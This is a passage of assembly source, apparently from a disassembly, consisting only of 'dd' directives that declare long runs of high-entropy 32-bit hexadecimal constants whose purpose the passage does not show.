0E044752h, 0CD045695h dd 0EF324F1h, 0DF52A36Eh, 975C03E2h, 0C8C3CE69h, 6B86E860h dd 750DDCC7h, 199A290Bh, 0CD2638E4h, 0EB19AE8Bh, 0EB63E5C6h dd 8A5E4FCBh, 0C19553A9h, 2EA08830h, 7E508FE2h, 2397AC53h dd 0D2276C0Ah, 0EFC86FFAh, 0D3899675h, 0E4CEF1CAh, 31D08B53h dd 0BADB0B40h, 0FE082201h, 0F5E66C29h, 360B379h, 45BA7FB7h dd 0B04A90A5h, 930D5D5Dh, 3CADA193h, 142CDFF6h, 8462B29Ah dd 0A0488E3Fh, 407DF6D4h, 1F4F4CBBh, 0F2A2195Ah, 91171F7Ah dd 540B9C66h, 0A5AFC09Dh, 25AC5F7Dh, 95E0A7C8h, 0A01BC025h dd 977E7983h, 5B67B75Ch, 754C5A41h, 1B246897h, 55BA7242h dd 4A269E3Fh, 4E6C0442h, 57BE0342h, 0BF443BABh, 4E1293F0h dd 64FFBC27h, 906258D2h, 0A76497A2h, 8150F1D6h, 55823D4Ch dd 9E994F7Dh, 8A1537C9h, 34716D50h, 3D0CB00Ch, 488AFA65h dd 6B5DB470h, 96D6CA36h, 6E560483h, 9F471637h, 50C0F2CFh dd 0DE1A753Ah, 0C30136D7h, 956CE032h, 0DA226BB8h, 599EE05h dd 47CC9CD8h, 90B7E402h, 3908A5CDh, 2B1892E2h, 3198AF8Ch dd 68985CCFh, 62E73A9Ah, 0D1298536h, 2EDDCB9Bh, 0F89D69E4h dd 4C2E5542h, 10B04D92h, 7B46CD5Fh, 0E3837725h, 17C1FB48h dd 0C8C0805Dh, 0C8B8C829h, 69A29BEDh, 451D7934h, 0AD1CFA9Eh dd 75139087h, 0F38AD1C1h, 0FA75A94Ch, 940A5ED3h, 6B248723h dd 602F632Eh, 947B8075h, 919C84A4h, 25A1208Bh, 5B5C36DFh dd 1A3CF909h, 9EA0A2BAh, 1C8F20D3h, 9C0841E3h, 0DEAB052Ch dd 0FE6D5F20h, 328CE104h, 66FEFFD3h, 291E4B84h, 0B756CD29h dd 8E035B0h, 0E233C4AAh, 27FC6205h, 908E3C63h, 9A12BA71h dd 837D19DEh, 0AEF2DDEBh, 2A5CF245h, 0B9E6B540h, 0CA22B115h dd 66FFB05Ch, 0EBDED570h, 0BDF24CC4h, 7C75432Eh, 723541AEh dd 282169E6h, 0DCFA4818h, 8A02EEF6h, 8BC7E1C3h, 0D2FC5C27h dd 1FBF8BCEh, 5F5F8304h, 6FCA1D4Ah, 7623ECAAh, 0F9FA9296h dd 0C5D13413h, 338CE0BCh, 0DC75EB59h, 0F261BB38h, 9AD7BEF3h dd 73493681h, 7A5CA520h, 0E5026D8Dh, 7FC61068h, 0D48CB174h dd 0EAE330ECh, 716585F7h, 0C84CF121h, 4F06E25Eh, 0A32156E2h dd 381308F2h, 9A70D1AFh, 0A712C49Bh, 51D048A8h, 0D4E13F54h dd 6134F969h, 0C8B2C83Ah, 0A7A28662h, 0B13CF12Bh, 1A50D1B9h dd 0E1706A4Bh, 2269D773h, 867EDB56h, 9740FE79h, 0EB8988EDh dd 0F82D855Ah, 5EECA7ECh, 7BA9274Ah, 592B4278h, 8BF09E78h dd 57DEE8Dh, 0D3739305h, 582B344Eh, 9836B656h, 0F9830D3Dh dd 0C869214Eh, 2C8686F6h, 85DA3BCh, 0B0B184DFh, 5D11E491h dd 68574544h, 4148402h, 7DFFE404h, 9C0162A9h, 5C5F1665h dd 57D43E6Bh, 7C72EC24h, 1E745B4h, 3A0379B7h, 0E16831C0h dd 0A684F369h, 5F842E55h, 0D32BECB9h, 3FF37213h, 0DF9CDA77h dd 24C94056h, 0A82905D2h, 0F13BC8E6h, 738759A9h, 96079014h dd 0E343275h, 2A0D449Eh, 0B1EC00F6h, 708294CAh, 88342AB2h dd 0EAF26FF9h, 8AF7FCE0h, 0CBCEBDBAh, 7C0C1597h, 0CE62BB53h dd 0C45A7E07h, 6BD0CAB4h, 0BF201ADBh, 0C23C00BEh, 0CFEB6B31h dd 8AD9FC0Fh, 49F7737Fh, 1E30CAF9h, 2C0C45E4h, 0D970889Dh dd 1B42FDEBh, 8F8B0839h, 0F65A8903h, 25C3266Ch, 0FACB8BBh dd 191063FAh, 733A026Ah, 785A9949h, 4AEF2F22h, 69AB2829h dd 0D8882381h, 0A24A185Fh, 0C6A2A324h, 21288857h, 26D32671h dd 0DC7779EDh, 0EDB1BA66h, 9F03170Dh, 0D5DA13F8h, 0D3E6977Dh dd 0B504C0C8h, 0AF987BE5h, 0A32AC082h, 7EC27509h, 6398042Ah dd 0A5218D04h, 0B413820Fh, 0FE118128h, 2B1A417Ch, 5B3A242h dd 0A4275F62h, 174D7D17h, 0DC8C7CBBh, 25646A59h, 64514D74h dd 0BD8B5C37h, 819CF862h, 0E597195Ah, 0CB62091Ch, 1CB3CAA1h dd 70BE10BDh, 50046D98h, 5DECD30Ah, 202DF75h, 28220AE8h dd 0D1496AE6h, 91AF7070h, 0B0C0C392h, 62DC4B9Fh, 706B766Dh dd 0A8B0F1ADh, 0CA9911BDh, 9C052559h, 0C6D67AE7h, 0BEFC16EFh dd 0C38E47A2h, 568AC8CDh, 0CEA50EA8h, 9012D730h, 0F172EBFEh dd 4983776Dh, 7280B193h, 14352B17h, 25DFF310h, 0CD8D42D5h dd 9D62D7FEh, 85519D16h, 24DA94E6h, 0E5C0F6F2h, 0E009268Dh dd 0C48E7B59h, 9A75EBF2h, 114BE887h, 0D8246BD0h, 0C4E5365Eh dd 0E82BF1DCh, 0F002792Fh, 872C9D7Ah, 0A19B26D7h, 0B5FB13A5h dd 623171B7h, 0C5589D16h, 3F85ACF2h, 7C7A316Fh, 0FD4B0A9Bh dd 0EB7D9EE0h, 85DBB8FBh, 9DD567F7h, 0C1F62863h, 4464C090h dd 0F9C11560h, 0D0BDDDAEh, 0C00F0428h, 9B8DDC90h, 82549A32h dd 0DEF18790h, 5D0B7147h, 0A1A73CCEh, 61F4BDEBh, 4ECAD074h dd 0B05A0F19h, 359B8332h, 9518D10Eh, 3BA41C9Bh, 1D601C21h dd 0F8616678h, 0C38D3DC0h, 0C83806C4h, 0C61332D7h, 0F766665Bh dd 661362D4h, 2C060A4Eh, 0D062B5D3h, 0F216AD9Dh, 6210D3A7h dd 2CEEC534h, 0AAE2F604h, 0EDC56131h, 770CF931h, 0F6A693C3h dd 2393ACF2h, 374956AAh, 50BC834Ch, 560E33ECh, 0C55C3BB7h dd 0AA539C57h, 0CDB3970Ah, 0D2F551EAh, 8C233D8Eh, 32F07432h dd 43050E01h, 0CC938280h, 5F9E71E9h, 344C2EF9h, 0C4A21F5Dh dd 12636584h, 6BE3DEABh, 6EA844A6h, 34515E34h, 9F84B0D3h dd 6238BE33h, 7BBA4FD0h, 664AF4BCh, 950BD05Dh, 6B741AB4h dd 61F6CBC9h, 242F37B1h, 86176084h, 0B97A7C92h, 7836579Fh dd 84F49188h, 0B760DF17h, 0DF41ABBBh, 0E24DC8C6h, 6E389682h dd 6B5A34EEh, 394AADD8h, 3D504D83h, 9936F898h, 0F76393FDh dd 0D513BAF2h, 44D36D20h, 6EC206Fh, 0D948C0B6h, 535C92A6h dd 0E0F563D6h, 0FCC2E97Ah, 64504D38h, 3E71F199h, 0B4723F4Fh dd 62A51D80h, 4BFC248Fh, 0C5310BBCh, 0F1113FF2h, 895BB1DDh dd 7980166h, 0A8F236CEh, 0FEE57676h, 6484A8CAh, 0C0CFBAE4h dd 1CBDA85Ah, 872EDC57h, 3C82ADADh, 0C5D75180h, 0FF491BFFh dd 0AB5378E8h, 2771FBC9h, 5B89A0E3h, 0E8ABB832h, 0CDA801EDh dd 1ADDB189h, 8120A3B7h, 0C5C7C70Fh, 0E4DC2094h, 0BFB84043h dd 4F1D278Ch, 4180CC17h, 64175D7Dh, 10817F9Fh, 0D82FA913h dd 3D10AFCBh, 0C57C9419h, 1AFC32Ch, 5C38B444h, 0AAC5D83Bh dd 320EBF77h, 246ECE13h, 0DA527DB5h, 89B8E530h, 6581EC4h dd 8E23CB71h, 0E2A13B31h, 0D8EE65DCh, 251F2A21h, 0BD34E7FCh dd 2A2307Fh, 802AAF03h dd 0C0FC77E5h, 0A2384FF1h, 3B6830F5h, 57CEB7AAh, 9BA45A4Ah dd 72E0F6EFh, 60C83332h, 8819D673h, 72A0D982h, 68E3BD78h dd 0B257A2DCh, 1C4FDAC9h, 461C5159h, 519D5F3Bh, 0CE00C588h dd 55D9B9E5h, 0B1EDC1A9h, 0C3E57950h, 0F3AED2D8h, 0EF194C86h dd 0AFAF05CDh, 72082D89h, 0F3758787h, 0CB2B775Ah, 42C965DCh dd 2F7BB6AFh, 0D6EBB78Eh, 8A066948h, 905F7584h, 81CD13C7h dd 6327470Fh, 0DC61B10Ch, 0CA7CA8Fh, 3B192837h, 1F59521Ah dd 0E23FD589h, 0D4839FD2h, 0E69D6D8Ch, 0D7715604h, 5C97F43h dd 835D2B58h, 76914687h, 60D76D34h, 6911C317h, 0C1A6753Bh dd 0F8F0A24Ch, 9C31F0Dh, 9201D595h, 24EAEB1h, 1C4CE88h dd 0A93F2092h, 0F1780501h, 47B65D47h, 0B4364243h, 6A3E3BEEh dd 6DB8E336h, 7B7E0E21h, 5531828Bh, 4DBAED27h, 0EECA7851h dd 0A569FE74h, 0F22DA370h, 84F11E24h, 687E74BBh, 124C6E51h dd 0EE804333h, 0C1183C4Dh, 60C6A5B0h, 87E8760Ch, 0EDEFA04Eh dd 0BB4CF1F3h, 612BA4Ah, 0B19C9CAFh, 9633B4BEh, 0C413C159h dd 8FA8899h, 0FF4FA198h, 168D3B74h, 0FA75AC7Dh, 1C247EF6h dd 0D5528452h, 68768E0Bh, 7242EE27h, 64A9320Dh, 4E409CAAh dd 8C4E342Ch, 0FFC7D8BBh, 594AFAFEh, 0A4C0E379h, 47F1B6FFh dd 10C3ABB8h, 0EF0A2E5Ah, 0DCE005FBh, 3ED1326Bh, 0A39F61BDh dd 212EB84Ah, 3422DFA4h, 107163A4h, 0EBB66175h, 41201527h dd 0AB380726h, 0B31C6A87h, 905F4D51h, 289C2E0Bh, 17D513E0h dd 0EABE8979h, 129872ABh, 0E0753C72h, 470BDBF0h, 0CF1AD8FEh dd 1B448A39h, 0B03A1D08h, 5F8AA3Eh, 0FD97327Ah, 0E304C3FAh dd 673E13Bh, 479E1673h, 80E5C46Eh, 71E4DCC2h, 42887AC1h dd 0F835FBECh, 40B99660h, 14F7A798h, 0BABCB7D5h, 0F666F614h dd 0F774CD6Dh, 1DEA5500h, 0AC787F96h, 63DA2DA9h, 327B12DDh dd 9462FA26h, 0C19201DAh, 186C20D0h, 4B76A6D4h, 8C8C9F13h dd 594F5498h, 0C85BC4C2h, 7FE11754h, 94332A1Ch, 0D91C0CEAh dd 0F3450A1Bh, 1130A866h, 7A8EB292h, 823DE277h, 4321ED41h dd 60A0D7D9h, 0B11E23F0h, 0E074E283h, 447A5C15h, 3AB77686h dd 0C610B0A2h, 85FEB1F0h, 0E84E3238h, 55EEECBDh, 0F6B52FFAh dd 645F25BAh, 0B64783Dh, 5B04BF13h, 65EAC9E5h, 0C4541D05h dd 7C42D337h, 0EBD2CBC8h, 631F5320h, 32ED5C35h, 9957112Ah dd 4BE05E7Ah, 0E6981C75h, 4CDC20B1h, 96525D9Ah, 6A0503B8h dd 0FE2117B0h, 0DEE23FFBh, 1B42935h, 6445954Fh, 1EEDF3B5h dd 360BAD7Ch, 18BCBB7Dh, 0C311CB9Eh, 0D9EF6311h, 0F36D86FBh dd 61E88893h, 1C3F215Ch, 0DBEC31CEh, 34E64905h, 0C552EE42h dd 0FFC68BA5h, 0A25B7C11h, 8AF4E572h, 41B9C4B2h, 1191C068h dd 52AC4FB3h, 37471D9Ch, 0ABBE7FADh, 0BCCD47E4h, 568D8A6h dd 0C66F1182h, 8A0C8A0h, 0A5B7B6BBh, 785B4747h, 0AA8353F8h dd 0B5513AB4h, 755006E9h, 40F875F1h, 82B402EFh, 0B3219862h dd 64EAB78h, 42B88D35h, 2F78A6B7h, 9C4E99E2h, 8FBFF9B2h dd 43B26258h, 14798DD3h, 71DF75A7h, 24735472h, 0C7FFAFEBh dd 0D75355Ah, 0CBC6818Ah, 4FFF853Dh, 66F2D9C7h, 82D0BF89h dd 0F03581E6h, 0D33B4D0Bh, 0F17464D0h, 7F0C84C5h, 31696872h dd 0AF779FC7h, 9BC3CD78h, 5CD8F119h, 0A56D6608h, 94FA39EBh dd 8C7DF663h, 0B3034550h, 0AD499E75h, 83B85787h, 7E7A7377h dd 0DD86E97Ch, 614CD73Dh, 4B55E527h, 2FA1A7B8h, 0B7E815E7h dd 6F71FE1Ah, 61DC3C87h, 0FB61E7E2h, 7200BA0Bh, 7CD08B3h dd 0AEC25079h, 80074AA2h, 16CFE0FCh, 0B91216DFh, 935A1B3h dd 9AE442F6h, 289D15E5h, 237C5B88h, 6035C3DDh, 631EA2C0h dd 0FD22C0C0h, 0C8FC78A3h, 3035C8D8h, 1EAB90FBh, 4094421Ah dd 2EE1288Bh, 72EE6561h, 99260E6Dh, 7C183A42h, 0D8655DEBh dd 2469DA96h, 0F490B286h, 5EEEC263h, 1B14AED5h, 0DA609B3Ch dd 20D5EA83h, 0C2803F40h, 0F7010C8Fh, 2825A2Ch, 0BC78AF99h dd 2B7527ECh, 0F9901C52h, 307E37B0h, 9A70CBEDh, 2BF9FA51h dd 0AD9C8B41h, 21146EFh, 0B06A8877h, 0E923BA75h, 2EBCADC1h dd 239CEDE7h, 9F41619Bh, 5202761Eh, 9A980DFFh, 1679FBFh dd 0E6E6EE4Ch, 4C9A86D5h, 0A34F8C23h, 0DECE3D81h, 1B7C9568h dd 0E7BB0F50h, 0E5FFB2E3h, 0FA6B6951h, 27932774h, 0FBF1EB71h dd 0D4D96C4h, 8E1B9628h, 1102FFD3h, 0C807591h, 0B3EE26BDh dd 0F8C71C39h, 4C5A5970h, 9DD7DE3h, 41A2FCC8h, 503937B0h dd 4656C031h, 0CE6979A5h, 72F13D14h, 2AD2AA93h, 8886B0FCh dd 0A36AFE8h, 57847CA9h, 59D76DADh, 0DB0B28F0h, 9E62D0BAh dd 7CAC160Ch, 0FB7AB90Ah, 0F161141Bh, 4289F0BBh, 0B1CC778Ah dd 47852770h, 0F29993B2h, 6856BE3Ch, 6916B5F5h, 39EA6334h dd 4B444ACh, 6539D91Fh, 90451C5Eh, 7E35F248h, 0B53C1ACFh dd 0D4928F96h, 277606BDh, 0B93A3CD8h, 8EAC2A2h, 24E11653h dd 64A69060h, 61971393h, 959E20E9h, 3D5FB12Ah, 17352932h dd 76AB86FEh, 0A3F66DC1h, 14EBA6DDh, 0ADD00DD0h, 0B95F7772h dd 0C428C02Eh, 211784A8h, 13BBFC2Bh, 0CDDAF29Eh, 3CF94FC6h dd 21EC3DCBh, 0E38A05BBh, 6A3AC85Eh, 0A8A09BEFh, 7A0F44A0h dd 0B1D0A0D7h, 0C68189E6h, 0E1242DFAh, 7D2B2F46h, 0EC6F0E33h dd 0E883BBF4h, 6D05A757h, 8513CB2h, 0D9E3D44h, 5D2EF155h dd 0A635C7D1h, 0E0A64DB1h, 0D0756159h, 0DFBA1306h, 8FA31404h dd 0E0FEB90Bh, 6DBB5BCDh, 0A6AEC5CAh, 0E0F36CEFh, 61463DDBh dd 77EEEB69h, 213B8685h, 116682A7h, 0FECF9617h, 0E9FDD60Ah dd 66D3C65Ah, 0E0E6DF09h, 27999C02h, 0C3ECBB86h, 15D5BDE3h dd 6DFE6FC4h, 1C8A9CBCh, 0C619D8FDh, 126FCDF2h, 1B0BE3E0h dd 0A7AF3361h, 1AC8A195h, 75B41406h, 0DDBD4AF1h, 0E179956Eh dd 515B5C15h, 7B314496h, 6DEC93FFh, 38D22849h, 0F232A3A9h dd 4BC5946Eh, 0AB9A5FEDh, 95AC7585h, 0D8CA27B8h, 0EABC2D72h dd 8F275C46h, 0DDBE8FFEh, 0CC832EBBh, 26468476h, 65898322h dd 9E568370h, 0DC2E75FBh, 54254711h, 3AC9B36Ch, 0D3F3D65h dd 0C71188F9h, 0EB10E224h, 0E5193C9Fh, 0C24CE4C9h, 6D9904BFh dd 0BEACD7C0h, 68490912h, 5DCAB9CFh, 93326694h, 246CE2B7h dd 0E4C46C5Ah, 0E4EC0138h, 9F438E08h, 0C8FE68BAh, 1CD9593h dd 1756BCFFh, 0E3ABFEC0h, 40951E28h, 37751917h, 4F11C662h dd 678DE171h, 72B20F0h, 0E30435BEh, 6BA58D5Bh, 0C00BCDD9h dd 0C661AC3Eh, 44D4421Eh, 0A5CF4B9h, 0C580B7DDh, 11221EBEh dd 2A8F2666h, 0B9890650h, 68E78E09h, 0B6E7A887h, 7B49CB0Fh dd 0BA9D0353h, 17A65F44h, 359DE516h, 83B328F1h, 0F3422E1Eh dd 9440FA2Eh, 789DCFFAh, 8E86536Bh, 0C0315B2Bh, 75D658B1h dd 8BC9FC27h, 0C0274571h, 8592006Eh, 49C95D38h, 5D15E54Dh dd 159DBAE1h, 12C40E3Dh, 4E6B4C85h, 0A88AA4C3h, 0FD3A464Ch dd 0DB9A8D5Ah, 0EC44B2A6h, 6AE80729h, 6663D4FFh, 3B434CA5h dd 59081581h, 69010421h, 984E074Eh, 5BFE999Eh, 0E288282h dd 53662B3Bh, 99146C1Bh, 0B1CF4902h, 6D687C14h, 23757137h dd 36AFD4A0h, 0EC988387h, 41AF968Eh, 6839B19Fh, 0E7058B38h dd 0A151C58Bh, 0F4CBBDD4h, 0C14F9041h, 0AA4691ADh, 30BC9B21h dd 0E76D3654h, 0EA581586h, 0FCAA5AFCh, 1487E9E2h, 5C0E8670h dd 0E21DD34Fh, 24ECAF57h, 199F2B69h, 2F4F4818h, 0B2BA5F56h dd 2D7F595Ch, 87DA5529h dd 0CC135A42h, 2A7C3573h, 99D06193h, 45055FEBh, 347E7C9Fh dd 78E9B3A3h, 0DA9CDBBEh, 0EC34BA1Dh, 2A6DDBC1h, 7E67B072h dd 991DA565h, 0B009FDA5h, 7E494DB0h, 94998229h, 324913A4h dd 771CF60Fh, 8CE7F354h, 0DB23EA86h, 6784DABFh, 5827CBD8h dd 0BD0CD873h, 0FF28648Ah, 3F50E877h, 1B4A608Fh, 363DB7A2h dd 0D75193BAh, 74A503B0h, 151A7BE4h, 0B8222CFFh, 2368720Dh dd 0A182EF3Fh, 0CCA8D993h, 1753F56Dh, 0A77952D5h, 142E5641h dd 382287F9h, 0D2B12AD8h, 66FD0F48h, 0C05357F9h, 97125274h dd 6E0ABCF9h, 15FA7DA6h, 0D71F6935h, 8DBF6B35h, 0C684EB8Eh dd 0B9BAB7B7h, 0AB8D0C82h, 0BDEB7DFCh, 0AAA6C2B9h, 610D0DB0h dd 0B1490862h, 664C4A2Ch, 97AD829h, 97CA4E01h, 8C452447h dd 82805303h, 7FD9DF8Ch, 821ABFF1h, 0D7008A04h, 34BA6173h dd 9F2423C1h, 0CFCD415Eh, 17695B7Bh, 0D92D09CCh, 401AF8DCh dd 6DE79015h, 0A8E1D8D1h, 62285688h, 9946E908h, 0CB7A012Bh dd 9363FA6Dh, 77BBC83Ch, 16A52094h, 0EEC3653h, 333E4153h dd 3E290E3Ah, 5C9B6569h, 2A592963h, 78D18360h, 31400CC1h dd 0DC13B1AFh, 0D7D42841h, 965BF90Ah, 9A64507Ah, 5A46F896h dd 802BC84Ah, 6B64BEC9h, 380B3338h, 87301926h, 0FCCE108Bh dd 3AC54A40h, 3C34BEECh, 212C2BCh, 0C177490Dh, 78049BA2h dd 0EAA425E3h, 5A659307h, 0A2D222A7h, 0CF64B68Eh, 438F8CD4h dd 0AEC9F8EEh, 0B43DAF2Dh, 853BC675h, 0DC03A060h, 0B05BF463h dd 3E20ED90h, 0D790B737h, 2CBBF3F2h, 387900A3h, 0FC271EEh dd 9535B08Ah, 89E664A4h, 767D7119h, 94FBA712h, 0F4BFA210h dd 0EDAC619Dh, 131D266h, 1B2BF334h, 130E08C1h, 0C7AD15BCh dd 9E95375Eh, 2757C7E0h, 4DA811AEh, 0F8F578CEh, 6BF69203h dd 1C4EF123h, 0DAB0E5BAh, 0CD3ABD9Fh, 0DB054173h, 0E5F4F0D1h dd 0B9075F7Fh, 0E43C8BDFh, 1632EEE2h, 0CBB71F84h, 0D68BD68Ch dd 393EA568h, 17F53B9Ch, 6E969843h, 0FA9ABC22h, 0CB2670FDh dd 0E666EC51h, 6EE6548Bh, 3A95834Eh, 4AAF8C50h, 0E651399h dd 0C6D01E6Bh, 11B5D69Ah, 595937E3h, 41CB2259h, 24E1A1h dd 0E541161Ah, 181D4ECDh, 0A7CBAA39h, 7B58D1B8h, 6472782Dh dd 8AC95A8Dh, 344EE2F3h, 8FC472D6h, 804A80Dh, 27917F20h dd 1CA74D47h, 20D64DAFh, 3E1A8672h, 906EE409h, 0E69C2200h dd 5FC8EDD4h, 0AC88D74Eh, 0D29B9769h, 0BCAC8492h, 365834D0h dd 6F1D6C5Ch, 69659D8h, 0F279C118h, 7BA73A5Dh, 12AD5CBFh dd 7027FFF8h, 0D32AE3C0h, 545FD0B2h, 92B20D67h, 3EFF3DA7h dd 9700DB44h, 0F4E7B9Ch, 717739A5h, 0E14735C6h, 0F40115C7h dd 29923C7Ch, 0B11FB410h, 3D75089Dh, 0AE531488h, 41301E60h dd 587E5F3Bh, 485453EBh, 0FE86A6F7h, 0A34B2208h, 67935FB0h dd 0EC19BB83h, 859A7792h, 0D327A749h, 6E7B6004h, 0AE07BF60h dd 0F3310D8Ch, 0E72CAA58h, 329BDD78h, 40B44462h, 29023DA0h dd 2E4268B2h, 1EE7E49Ch, 2FD8081Eh, 2796EAF0h, 0E401FA81h dd 0C13556B5h, 0D042A001h, 4E7DF771h, 0D747377Ch, 0BF412D41h dd 142AD2A1h, 1B1F0EC3h, 56D4C18Bh, 0E15404E3h, 0C256143Bh dd 6709EAB7h, 305F6867h, 33C70E9Eh, 44774BACh, 9FD3464Ch dd 333AD746h, 2AD86505h, 2D7BD882h, 25169341h, 2DEA36D5h dd 1C04B46Bh, 2AA3B2A9h, 652790C8h, 26566F39h, 0E09EBBB6h dd 9B0E8623h, 4EB58683h, 562BCE36h, 0DEE7D00Bh, 0A2F0D833h dd 2CB4D65Ah, 0D440CC44h, 0C4A889F1h, 3921392Bh, 0D88BB3A4h dd 0CCAD18EDh, 348D244h, 0F610B1A8h, 3A14E7A2h, 89747AD0h dd 0D1B51774h, 97C74917h, 63221DFFh, 529AA53h, 9780495Bh dd 0D9D049BAh, 0C79FB546h, 0E7AF782Eh, 7ED9001Ch, 0BF116FAAh dd 798F3D15h, 2C0E5D05h, 0A0DCF6B8h, 8FE377DFh, 0A2770475h dd 2AC61ADDh, 804ACFD7h, 0FCE527D9h, 5CCFF389h, 0BF85E0C8h dd 0D0E534B3h, 0E485D612h, 0FB61205Ah, 19714673h, 20D5688Eh dd 0ABEEC38Eh, 33C8A732h, 0BE0B6E1Dh, 0CC8BB38Fh, 326C106Eh dd 8D72072Ch, 3CC13C3h, 96597214h, 0DF860FDAh, 0AB763CE6h dd 37C76696h, 7EDBA181h, 3B680661h, 706E78A5h, 8266C5AFh dd 0BA751ECFh, 0FD402270h, 0B8D6ECCAh, 8C4A0FDh, 175C147Dh dd 4EA15FC0h, 0C5D8127Dh, 8E7485B6h, 76F68D47h, 4EC59F08h dd 27E240C0h, 0FD4AF8Ch, 0FBAB16A0h, 3BBB3920h, 46AA8AF6h dd 2721D2E5h, 8B9E35B0h, 19FD6F33h, 296774AAh, 956346CCh dd 1BCB4C7h, 4FF33F61h, 14D4CA2Dh, 66BFA930h, 0CD96E071h dd 525914D6h, 0E8B77CF5h, 1B8C5179h, 9545A0Fh, 0DCE00E65h dd 0FC3BAA18h, 9FAF674Ch, 0F2AA8524h, 85B579D7h, 68E12333h dd 423CFEC1h, 976F1353h, 76B365D6h, 0B7885B85h, 0C2B69A5Ah dd 0E22ABC33h, 0DC6CCD73h, 5B7A1D7Ah, 69A543E3h, 0E9C6EC1Eh dd 52DA1EF5h, 784C974Fh, 7273184Eh, 3147DE07h, 0B8474B3Ch dd 0EEE48AA2h, 7F6D7949h, 64A36F4Ch, 0C6AF395h, 0BE236332h dd 9878CE4h, 7BFF0801h, 6A029640h, 90EFA797h, 57D9B206h dd 8395F4FBh, 0F2863B14h, 68A832D2h, 0AD8F46EEh, 2F5D4621h dd 1795BA09h, 4B895C84h, 0C9920249h, 0D9C83358h, 0D6AB13D8h dd 0D1F97B9Ch, 6F728D24h, 25BD4AEAh, 9E11C29Ah, 0A477C823h dd 3514C8D7h, 7A379F16h, 1C3880FCh, 0A8325C55h, 87D2637Ch dd 0F3C53ADFh, 2E1C1256h, 0A8B53A8h, 74CA31E5h, 0D0B63E3Ch dd 0E63EF698h, 61AC7CE0h, 738214AFh, 8E2B2345h, 1DA12AFCh dd 68686404h, 2CB1C123h, 0E8BC35C6h, 0D169F46h, 0F7DA4B9Dh dd 5F407EE8h, 0F40A0A8Eh, 36A27802h, 26F588F0h, 0A3FD0FFFh dd 41C5B6D7h, 6B1A0DA6h, 210B221Eh, 0ED68E9ADh, 94CBDCD9h dd 5BF2E027h, 0DB14D339h, 2D8BB241h, 863218B2h, 762E8ED3h dd 46599C30h, 1BD2FFCDh, 224540E2h, 403BED5Fh, 0DAF524CDh dd 92761B54h, 0E8203D5Eh, 3B63CEDAh, 0D0B90618h, 22EA7AC8h dd 97CB9DB8h, 7E7D47D7h, 629A3D7Eh, 0C7D2117h, 0D324B4A0h dd 0C8DA5872h, 71C90DA8h, 6FCA4B4Ah, 0B53C4F52h, 0AB82A4BFh dd 0D06BCF68h, 2526D95Ch, 59C4E15Dh, 4D8F7C93h, 0BEC58CF6h dd 471F803h, 21DA44C3h, 0AE3436CDh, 5C4182A7h, 869470EBh dd 23EF5986h, 777557B5h, 0A4DC7608h, 0EADB90Dh, 8B9ADB2h dd 6862C932h, 0EF9BAA3h, 2C80E0ECh, 0ABF9F19Ch, 74C7ABFEh dd 0B28C4C01h, 0C1501B0Ah, 0FA33610Dh, 3A0AD5D6h, 95E77A9Fh dd 115CBCBCh, 204C2EA6h, 886E0F97h, 91691EDBh, 7455813h dd 93EE2456h, 0BBC6BF2Bh, 0DD8B7DA6h, 1FFD5EDCh, 6D23F57h dd 0FEFB4659h, 0C6C9F53h, 81186D90h, 3C97F481h, 64597A08h dd 0D8A5F80Eh, 1AB4BF15h, 0B6E3A4C3h, 41D6AAA2h, 0D34B988Fh dd 0A7BFB624h, 44FB662Fh, 0BAEF2FE0h, 0C3F0BB21h, 639FE653h dd 0E63A3FC7h, 90C6589Ah, 81B2730Dh, 0B0E6A700h, 88C81AF3h dd 47883407h, 7293E718h, 9F963F75h, 2046F69Eh, 425EAF24h dd 0FA7A339Dh, 81FDB991h, 9C9BD31Bh, 3AF1254h, 7E3BD9D9h dd 465CFA0h, 0E1B8E1BFh, 0D3C4EED2h, 0D0961332h, 74512C9Eh dd 5068E916h, 0BF85BF5Fh, 905371B4h, 8102A7E0h, 0A6DC8964h dd 3D99D1h, 9AB45BC3h, 40EFDFE8h, 0A86D98BFh, 0A21501AAh dd 4A79E2DDh, 6167627Ch, 0B763C0B4h, 88C346F7h, 0CD91EAC0h dd 189467DAh, 0E7BB2258h, 911CE39Ah, 515ED31Ch, 0E5E2ECDAh dd 11167519h, 0B7D2B47h dd 0BF56A372h, 0D405DFDEh, 25D85E1Bh, 0AB361FDFh, 1F589F42h dd 5E2CF7C4h, 0AC5A3E53h, 2AD6D1BAh, 96C73DB0h, 0D2896BEDh dd 0C629941Eh, 662CD40Fh, 48C2717Ah, 0BAAB5AF2h, 9B620D74h dd 458675EAh, 2324CD26h, 1FF32FFEh, 6B81F2C9h, 9EA575F0h dd 2B029229h, 47B2C0C6h, 0C61630ECh, 0B145BA37h, 0FE8511EEh dd 0C56D6FC4h, 5099CC15h, 90DE4C5Bh, 3330C330h, 5ACA6BA3h dd 0F2FDDBD7h, 0BDF7FF92h, 391E1787h, 0D398F03Dh, 0D978D12Dh dd 9AB24B34h, 2E4B8BDBh, 48896272h, 0CD697C34h, 80F00B92h dd 0B92B04A2h, 23182A33h, 0BE31BD28h, 0D3D2940Eh, 0F6285536h dd 45AD2453h, 0A0F0BC90h, 45D6E32h, 0AFCCE938h, 23C76C84h dd 0A667572h, 0E9994103h, 0A8E1D914h, 0D350088Fh, 6F5D9E5Eh dd 78201861h, 0BD26FAEDh, 4E8496E9h, 6CC89E03h, 3474750Bh dd 3D8E5BF7h, 0ED1BBCE4h, 0AF75103Ch, 0FE1B23B2h, 2CCC7F61h dd 20E80913h, 0B170D358h, 9ADD9FE2h, 96024B3Ch, 0DFBCD87Ch dd 5CE318EDh, 6C8063D1h, 1009009Bh, 78CC119Dh, 5502AC72h dd 149E6446h, 55795EEEh, 8154B0D0h, 15C5E1E5h, 4C412AACh dd 0A22BDF06h, 0C46B83D7h, 6578FD31h, 542B8761h, 319489Ch dd 984ED4A3h, 5B49CE1Eh, 35676BFDh, 0A8EA5F86h, 9E59B7CAh dd 84D30441h, 4BD204F3h, 8F60D1Eh, 0B33069A2h, 43E6B863h dd 2228D91h, 0AF63C8FFh, 0F64AEEFBh, 0AEEEFEF7h, 0B6657939h dd 620100CFh, 4F29FDD4h, 4C9D5499h, 16111AB1h, 0D1400715h dd 2A1C227h, 0C36F7495h, 0B6667E6Ch, 4A58BD30h, 7F49921Ch dd 7B93198Ah, 0A5D6454Ah, 0EB100A59h, 3E2D844Dh, 0FE474821h dd 86AA1C0Dh, 3CC16FA1h, 19846ACAh, 166FAD9Fh, 3F600970h dd 0ECCA3A33h, 167DF61Eh, 90C27DD5h, 8F56B6F4h, 252D2785h dd 77FF4657h, 14B1FE38h, 0A1BB3366h, 